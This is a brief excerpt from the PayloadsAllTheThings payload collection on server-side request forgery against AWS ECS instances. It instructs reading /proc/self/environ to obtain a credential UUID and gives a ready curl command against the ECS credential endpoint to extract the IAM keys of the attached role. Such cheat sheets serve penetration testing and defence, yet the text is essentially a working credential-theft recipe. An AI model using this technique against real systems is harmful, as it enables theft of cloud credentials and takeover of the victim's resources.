If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.
curl http://169.254.170.2/v2/credentials/<UUID>This way you'll extract IAM keys of the attached role
Source: Server Side Request Forgery/SSRF-Cloud-Instances.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.